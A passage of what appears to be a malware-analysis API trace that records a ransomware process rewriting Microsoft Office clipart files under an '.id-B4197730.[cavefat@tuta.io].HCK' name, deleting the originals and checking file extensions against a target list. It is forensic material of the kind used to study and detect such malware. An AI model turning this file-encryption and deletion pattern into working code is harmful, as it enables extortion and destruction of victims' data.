0x4cc [0231.686] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=11584) returned 1 [0231.686] CloseHandle (hObject=0x4cc) returned 1 [0231.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf")) returned 0x220 [0231.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0231.686] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0231.687] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0231.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0231.687] GetLastError () returned 0x0 [0231.687] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x2d40, lpOverlapped=0x0) returned 1 [0231.689] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x2d50, lpOverlapped=0x0) returned 1 [0231.689] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0231.689] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0231.689] SetEndOfFile (hFile=0x4bc) returned 1 [0231.690] CloseHandle (hObject=0x4bc) returned 1 [0231.690] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0231.690] SetEndOfFile (hFile=0x4cc) returned 1 [0231.693] CloseHandle (hObject=0x4cc) returned 1 [0231.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.693] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf")) returned 1 [0231.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0231.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0231.694] lstrlenW (lpString=".doc") returned 4 [0231.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.694] lstrlenW (lpString=".docx") returned 5 [0231.694] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0231.694] lstrlenW (lpString=".pdf") returned 4 [0231.694] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.694] lstrlenW (lpString=".xls") returned 4 [0231.694] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.694] lstrlenW (lpString=".xlsx") returned 5 [0231.694] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0231.694] lstrlenW (lpString=".ppt") returned 4 [0231.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0231.695] lstrlenW (lpString=".zip") returned 4 [0231.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.695] lstrlenW (lpString=".rar") returned 4 [0231.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.695] lstrlenW (lpString=".bz2") returned 4 [0231.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.695] lstrlenW (lpString=".7z") returned 3 [0231.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0231.695] lstrlenW (lpString=".dbf") returned 4 [0231.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0231.695] lstrlenW (lpString=".1cd") returned 4 [0231.695] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0231.695] lstrlenW (lpString=".jpg") returned 4 [0231.695] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0231.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0231.695] lstrlenW (lpString=".doc") returned 4 [0231.695] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.695] lstrlenW (lpString=".docx") returned 5 [0231.695] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0231.695] lstrlenW (lpString=".pdf") returned 4 [0231.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.695] lstrlenW (lpString=".xls") returned 4 [0231.695] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.695] lstrlenW (lpString=".xlsx") returned 5 [0231.695] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0231.695] lstrlenW (lpString=".ppt") returned 4 [0231.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0231.695] lstrlenW (lpString=".zip") returned 4 [0231.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.695] lstrlenW (lpString=".rar") returned 4 [0231.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.695] lstrlenW (lpString=".bz2") returned 4 [0231.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.696] lstrlenW (lpString=".7z") returned 3 [0231.696] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0231.696] lstrlenW (lpString=".dbf") returned 4 [0231.696] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0231.696] lstrlenW (lpString=".1cd") returned 4 [0231.696] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0231.696] lstrlenW (lpString=".jpg") returned 4 [0231.696] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.696] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0231.696] lstrlenW (lpString="J0105348.WMF") returned 12 [0231.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0231.697] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=17060) returned 1 [0231.697] CloseHandle (hObject=0x4cc) returned 1 [0231.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf")) returned 0x220 [0231.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0231.698] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0231.698] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0231.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0231.699] GetLastError () returned 0x0 [0231.699] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x42a4, lpOverlapped=0x0) returned 1 [0231.701] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x42b0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x42b0, lpOverlapped=0x0) returned 1 [0231.702] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0231.702] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0231.702] SetEndOfFile (hFile=0x4bc) returned 1 [0231.702] CloseHandle (hObject=0x4bc) returned 1 [0231.702] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0231.702] SetEndOfFile (hFile=0x4cc) returned 1 [0231.704] CloseHandle (hObject=0x4cc) returned 1 [0231.704] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.704] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf")) returned 1 [0231.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0231.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0231.705] lstrlenW (lpString=".doc") returned 4 [0231.705] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.705] lstrlenW (lpString=".docx") returned 5 [0231.705] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0231.705] lstrlenW (lpString=".pdf") returned 4 [0231.705] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.705] lstrlenW (lpString=".xls") returned 4 [0231.705] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.705] lstrlenW (lpString=".xlsx") returned 5 [0231.705] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0231.705] lstrlenW (lpString=".ppt") returned 4 [0231.705] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0231.705] lstrlenW (lpString=".zip") returned 4 [0231.705] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.705] lstrlenW (lpString=".rar") returned 4 [0231.705] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.705] lstrlenW (lpString=".bz2") returned 4 [0231.705] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.705] lstrlenW (lpString=".7z") returned 3 [0231.705] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0231.705] lstrlenW (lpString=".dbf") returned 4 [0231.705] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0231.705] lstrlenW (lpString=".1cd") returned 4 [0231.705] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0231.705] lstrlenW (lpString=".jpg") returned 4 [0231.705] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0231.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0231.706] lstrlenW (lpString=".doc") returned 4 [0231.706] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.706] lstrlenW (lpString=".docx") returned 5 [0231.706] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0231.706] lstrlenW (lpString=".pdf") returned 4 [0231.706] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.706] lstrlenW (lpString=".xls") returned 4 [0231.706] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.706] lstrlenW (lpString=".xlsx") returned 5 [0231.706] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0231.706] lstrlenW (lpString=".ppt") returned 4 [0231.706] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0231.706] lstrlenW (lpString=".zip") returned 4 [0231.706] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.706] lstrlenW (lpString=".rar") returned 4 [0231.706] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.706] lstrlenW (lpString=".bz2") returned 4 [0231.706] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.706] lstrlenW (lpString=".7z") returned 3 [0231.706] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0231.706] lstrlenW (lpString=".dbf") returned 4 [0231.706] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0231.706] lstrlenW (lpString=".1cd") returned 4 [0231.706] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0231.706] lstrlenW (lpString=".jpg") returned 4 [0231.706] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.706] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0231.706] lstrlenW (lpString="J0105360.WMF") returned 12 [0231.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0231.707] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=8860) returned 1 [0231.707] CloseHandle (hObject=0x4cc) returned 1 [0231.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf")) returned 0x220 [0231.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0231.708] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0231.708] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0231.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0231.708] GetLastError () returned 0x0 [0231.708] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x229c, lpOverlapped=0x0) returned 1 [0231.710] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x22a0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x22a0, lpOverlapped=0x0) returned 1 [0231.710] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0231.710] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0231.711] SetEndOfFile (hFile=0x4bc) returned 1 [0231.711] CloseHandle (hObject=0x4bc) returned 1 [0231.711] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0231.711] SetEndOfFile (hFile=0x4cc) returned 1 [0231.713] CloseHandle (hObject=0x4cc) returned 1 [0231.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.714] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf")) returned 1 [0231.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0231.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0231.714] lstrlenW (lpString=".doc") returned 4 [0231.714] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.714] lstrlenW (lpString=".docx") returned 5 [0231.714] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0231.714] lstrlenW (lpString=".pdf") returned 4 [0231.714] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.714] lstrlenW (lpString=".xls") returned 4 [0231.714] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.714] lstrlenW (lpString=".xlsx") returned 5 [0231.714] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0231.715] lstrlenW (lpString=".ppt") returned 4 [0231.715] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0231.715] lstrlenW (lpString=".zip") returned 4 [0231.715] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.715] lstrlenW (lpString=".rar") returned 4 [0231.715] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.715] lstrlenW (lpString=".bz2") returned 4 [0231.715] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.715] lstrlenW (lpString=".7z") returned 3 [0231.715] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0231.715] lstrlenW (lpString=".dbf") returned 4 [0231.715] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0231.715] lstrlenW (lpString=".1cd") returned 4 [0231.715] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0231.715] lstrlenW (lpString=".jpg") returned 4 [0231.715] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0231.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0231.715] lstrlenW (lpString=".doc") returned 4 [0231.715] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.715] lstrlenW (lpString=".docx") returned 5 [0231.715] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0231.715] lstrlenW (lpString=".pdf") returned 4 [0231.715] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.715] lstrlenW (lpString=".xls") returned 4 [0231.715] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.715] lstrlenW (lpString=".xlsx") returned 5 [0231.715] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0231.715] lstrlenW (lpString=".ppt") returned 4 [0231.715] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0231.715] lstrlenW (lpString=".zip") returned 4 [0231.715] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.715] lstrlenW (lpString=".rar") returned 4 [0231.715] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.715] lstrlenW (lpString=".bz2") returned 4 [0231.715] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.715] lstrlenW (lpString=".7z") returned 3 [0231.715] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0231.715] lstrlenW (lpString=".dbf") returned 4 [0231.715] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0231.715] lstrlenW (lpString=".1cd") returned 4 [0231.715] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0231.716] lstrlenW (lpString=".jpg") returned 4 [0231.716] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.716] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0231.716] lstrlenW (lpString="J0105368.WMF") returned 12 [0231.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0231.716] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=12380) returned 1 [0231.716] CloseHandle (hObject=0x4cc) returned 1 [0231.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf")) returned 0x220 [0231.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 